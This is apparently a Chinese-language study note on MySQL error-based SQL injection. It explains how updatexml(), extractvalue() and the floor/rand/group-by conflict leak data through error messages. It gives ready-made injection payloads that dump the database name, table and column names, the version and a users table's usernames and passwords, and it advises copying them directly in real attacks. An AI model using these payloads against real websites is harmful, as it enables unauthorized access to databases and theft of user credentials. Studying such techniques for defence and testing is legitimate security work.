通过页面的报错回显进行注入,出现错误的时候MySQL就会显示错误,报错注入网上有资源,实际上在使用的时候也是直接在网上的payload上复制粘贴——报错注入首先要有报错的回显点,适用于页面无正常回显
注入原理:利用数据库执行错误时返回的错误信息来获取敏感数据或执行恶意操作
使用这些语句的时候————闭合是首要的
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
其中0x7e是hex编码,是 ~ 的意思
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
此语句可以爆出数据库名
updatexml()函数
字面意思:更新xml文件,三个参数分别是原来的对象名称,原来对象的路径,更改后的对象名称
能用于SQL注入是因为如果原来对象的路径如果写错了,updatexml() 函数就会检测该路径是不是原来对象的路径,检测的话就要执行,不是则会报错,执行的话可以借机执行一些期望的语句完成注入
UPDATEXML (XML_document, XPath_string, new_value);
concat()函数作为函数的第二个参数的主函数,有两个参数,0x7e是 ~,后面的一项用于执行SQL语句,经过concat拼接两个字符串之后,整体会作为updatexml() 函数的第二个参数执行
爆库
id=-1 or updatexml(1,concat(0x7e,(select database())),1) -- -
爆表
id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- -
爆字段
id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)-- -
爆内容
id=-1 or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1)-- -
//但是group_concat() 显示受前端字数限制,不会显示全
主要理解其语句的原理,在实战中,使用复制粘贴即可
用于在报错信息中显示MySQL的版本号
select updatexml(1, concat(0x7e, @@version, 0x7e), 1) from users;
extractvalue()函数
EXTRACTVALUE()
函数是 MySQL 中用于从 XML 文档中提取值的函数。然而,从 MySQL 5.7.5 版本开始,EXTRACTVALUE()
函数已经被标记为已弃用(deprecated),并在后续版本中可能会被移除。尽管如此,它在一些旧的系统或特定的上下文中仍然可能被使用
EXTRACTVALUE()
函数的基本语法如下:
EXTRACTVALUE(xml_frag, xpath_expr)
xml_frag
是包含 XML 数据的字符串或列xpath_expr
是用于从xml_frag
中提取数据的 XPath 表达式
报错原因与updatexml()函数类似,都是读取路径报错
爆库
id=-1 or extractvalue(1,concat(0x7e,(select database())))
爆表
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆字段
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))
爆内容
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(password) from users)))
floor() 函数
floor报错的原理——floor、rand、group by三者冲突报错
floor函数用于向下取整,rand函数用于生成一个随机数
- rand()——在(0,1)随机取一个数,无规律
- rand(0)——在(0,1)随机取一个数,有规律
group by函数——实战中,可以统计多个相同类别的一组数据
select id from article group by id
在表article中,只查询id,然后按照id进行分组,有几组就会显示几组
select id,count(*) from article group by id
该语句添加了count(*)项,用于统计每一组的数量
group by的意义
建立一个新的虚拟表,第一次是在虚拟表内进行查询,看有没有这个主键(主键不允许重复),如果没有再查一次(相当于确认插入数据)后添加(查询两次,插入一次)
如果存在就直接加一(查询一次,加1一次)
floor (rant(0)*2)的查询结果是有规律的,每次查询的结果都是——01101 10011——主要是rant(0)*2的随机数是有规律的
- 第一次查询得到 0 @ 版本号,看有没有这个主键;如果没有就插入,但在插入之前,还会再次查询,此时就会变为 1 @ 版本号,然后插入成为第1条
- 然后下一次查询到 1 @ 版本号,由于该主键在数据表中已经存在,所以不会再进行第二次查询,直接在数据表中,次数加1
- 第三次查询,查到 0 @ 版本号,数据库中没有该主键,所以要执行插入操作,就会再次查询,此时查到的是 1 @ 版本号,但1 @ 版本号的主键已经存在了,不能插入了——此时会显示主键错误,并回显
类似的函数还有:'CAST()' 函数、'CONVERT()'、'SUBSTRING()'